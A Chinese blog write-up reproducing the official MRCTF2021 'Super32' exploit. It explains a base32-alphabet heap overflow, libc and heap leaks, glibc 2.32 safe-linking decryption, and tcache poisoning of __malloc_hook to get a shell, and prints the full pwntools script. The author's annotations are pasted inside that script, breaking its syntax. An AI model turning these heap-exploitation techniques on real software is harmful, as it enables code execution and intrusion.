MRCTF2021&Super32官方exp的复现

29 篇文章 0 订阅

Mrctf&Super32官方exp复现

**前言:
说实话,这次MRCTF的比赛题的质量很高,高的我这种菜鸡都不太会做,所以赛后根据官方的exp来复现一下,这里只简绍一下exp的大概思路/
思路:我们要让其换表,也就是base32编码后再进行换表,换表后再与解码后的大小check进行替换,结果其大于预先程序设定的大小,这样就直接产生了溢出,这里官方的exp是溢出打top chunk的size,然后进行分配打tc chunk的fd进行malloc_hook为rce,就可以获得shell了。
相对于大佬来说 这道题不是很难,但对于我这种不会逆向代码分析的菜鸡难度可想而知,菜鸡的我最大的确定就是不熟练逆向分析导致很多题不会做,列如红名谷的题就是这样的,哎tcl**
Exp:

#!/usr/bin/python2
# coding=utf-8
from pwn import *
import base64
import string
 
local = 1
debug = 1
ip = '127.0.0.1'
port = 10001
proc = './pwn'
local_libc_path = '/home/root2/Desktop/glibc-all-in-one-master/libs/2.32-0ubuntu3.1_amd64/libc.so.6'
remote_libc_path = './libc-2.32.so'
 
 
def one_gadget(filename=remote_libc_path):
    return map(
        int,
        subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
 
 
if debug:
    context.log_level = 'debug'
 
if local:
    io = process(proc)
    libc = ELF(local_libc_path)
    try:
        one = one_gadget(local_libc_path)
    except:
        pass
else:
    io = remote(ip, port)
    libc = ELF(remote_libc_path)
    try:
        one = one_gadget()
    except:
        pass
elf = ELF(proc)
 
r = lambda x=4096: io.recv(x)
rl = lambda: io.recvline()
ru = lambda x: io.recvuntil(x)
rn = lambda x: io.recvn(x)
rud = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ia = lambda: io.interactive()
su = lambda x: success('%s >> %s' % (x, hex(eval(x)))) if type(eval(
    x)) == int else success('%s >> %s' % (x, eval(x)))
 
 
def attach():
    su('io.pid')
    pause()
 
 
def encode(ctt):
    ru('>> ')
    sl(str(1))
    ru('Plz input ur code:')
    sl(ctt)
 
 
def decode(choice=1, ctt=''):
    ru('>> ')
    sl(str(2))
    ru('1.Get code from encode list.\n2.Input ur code.')
    sl(str(choice))
    if (choice == 2):
        ru('Plz input ur code:')
        sl(ctt)
 
 
def show():
    ru('>> ')
    sl(str(3))
 
 
def dele():
    ru('>> ')
    sl(str(4))
 
 
# get base32 table
dic = 'A1B2C3D4E5F6GHIJKLMNOPQRSTUVWXYZ'
str1= base64.b32decode('BBCDEFGHIJKLMNOPQRSTUVWXYZ234567')
//这里首先进行32位的base32解码
encode(str1) //利用程序的编码进行mallocchunk
print str1
 
show()
ru('Encode list:\n1.')
table = r(32)
for i in dic:
    if i not in table:
        table = i + table[1:]    //将其换表,我的理解这应该是base编码的特性,往往换表之后的字节会很大
su('table')
# get base32 table end
print table
# leak libc
for i in range(9):
    encode('a' * (0x70 / 8 * 5))  //申请9个0x90的chunk
 
for i in range(2):
    encode('aaaaa' * 8)  //申请了2个0x40的chunk
 
for i in range(1 + 7 + 1):
    decode()
 
    dele()   //free掉9个chunk,剩下一个会进入unsortbin
 
encode('123')   再次申请泄露libc基地址,这里会从unsortbin进行切割,切割出来的chunk会残留mainarren地址
 
show()
libc.address = u64(ru('\x7f')[-6:].ljust(8, '\x00')) - 0xf0 - libc.symbols['__malloc_hook']
free_hook_addr = libc.symbols['__free_hook']
one_addr = libc.address + one[1]
su('libc.address')
# leak libc end
 
 
# base32
def my_b32_decode(code):
    std_base32chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
    code = code.translate(string.maketrans(table, std_base32chars)).replace(
        'm', '=').replace('r', '=').replace('c',
                                            '=').replace('t', '=').replace(
                                                'f', '=').replace('!', '=')
    return base64.b32decode(code)
 
 
def my_b32_encode(code):
    code = base64.b32encode(code)
    std_base32chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
    code = code.translate(string.maketrans(std_base32chars, table))
    return code.replace('======', 'mrctf!').replace('====', 'ctf!').replace(
        '===', 'tf!').replace('=', '!')
//这里是在编码的时候把32位base64编码的时候后面的特性进行替换,从而加大解码时候的size可溢出,这里我也说不明白看程序源码就可以了,这里给于截图:
 
 
# base32 end
 
# change size 
decode()
dele()//这里下面的chunk会和并上一个unsortbinchunk,因为inuse位的原因
payload1 = my_b32_encode('a' * 0x80)
decode(2, payload1)  //利用切换的原理进行解码申请
 
payload2 = 'aaaaa' * 11 + 'a'+p8(0x71)
payload2 = my_b32_encode(payload2).replace('!', '')
decode(2, payload2)//再次申请剩下的chunk,将其!跟置空,因为在解码的时候解码表并没有!所以这个!无关紧要,这里我经过调试发现是修改了topchunk的size,但这里在本地测试了好多次才成功,完全看脸,orz!!!
 
# change size end
 
# structure chunk
for i in range(5):
    decode(2, my_b32_encode('a' * 0x40))
将其剩下的chunk5个编码
for i in range(7):
    dele()
然后再进行free
decode()  
dele()
 
decode()
dele()//将topchunk给free掉了,又助于我们下面打tc free
# structure chunk end
 
# leak heap base
decode(2, my_b32_encode('a' * 0x50))  //将其申请会留下heap地址,由于此libc版本是2.32版本所以fd被加密了,所以根据libc源码解密出来就能获取正确的heapbase了
show()
def get_heap_base(addr):    //这里是解密的算法,这种算法一般都是通用的,根据源码可以得知
    part1 = 0xfff000000000 & addr
    part2 = (0x000fff000000 & addr) ^ (part1>>12)
    part3 = (0x000000fff000 & addr) ^ (part2>>12)
    return part1 + part2 + part3
ru('a'*0x50)
heap_base = get_heap_base(u64(r(6).ljust(8,'\x00')))
su('heap_base')
# leak heap base
 
# getshell
dele()  //free掉chunk,帮助我们下面进行tc malloc hook为rce进行getshell,也就是传说的一把梭了orz
fd = (heap_base>>12)^(libc.symbols['__malloc_hook']-0x10)
su('fd')
payload3 = 'a' * 0x48 + p64(0x51) + p64(fd)
decode(2,my_b32_encode(payload3))
decode(2,my_b32_encode('a'*0x40))
decode(2,my_b32_encode(p64(one_addr).ljust(0x40,'a')))
encode('123')
ia()
# getshell end

**后缀:
至此官方exp分析完成,个人感觉出来个人的逆向能力太差劲了,所以以后会把大量的时间花学习逆向基础上,争取下一年的mrctf能够打出来成绩,还是tcl,志向有点小,加油吧,如果有错误的分析也欢迎各位大佬私聊我,毕竟tcl我,也是一种新手**

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值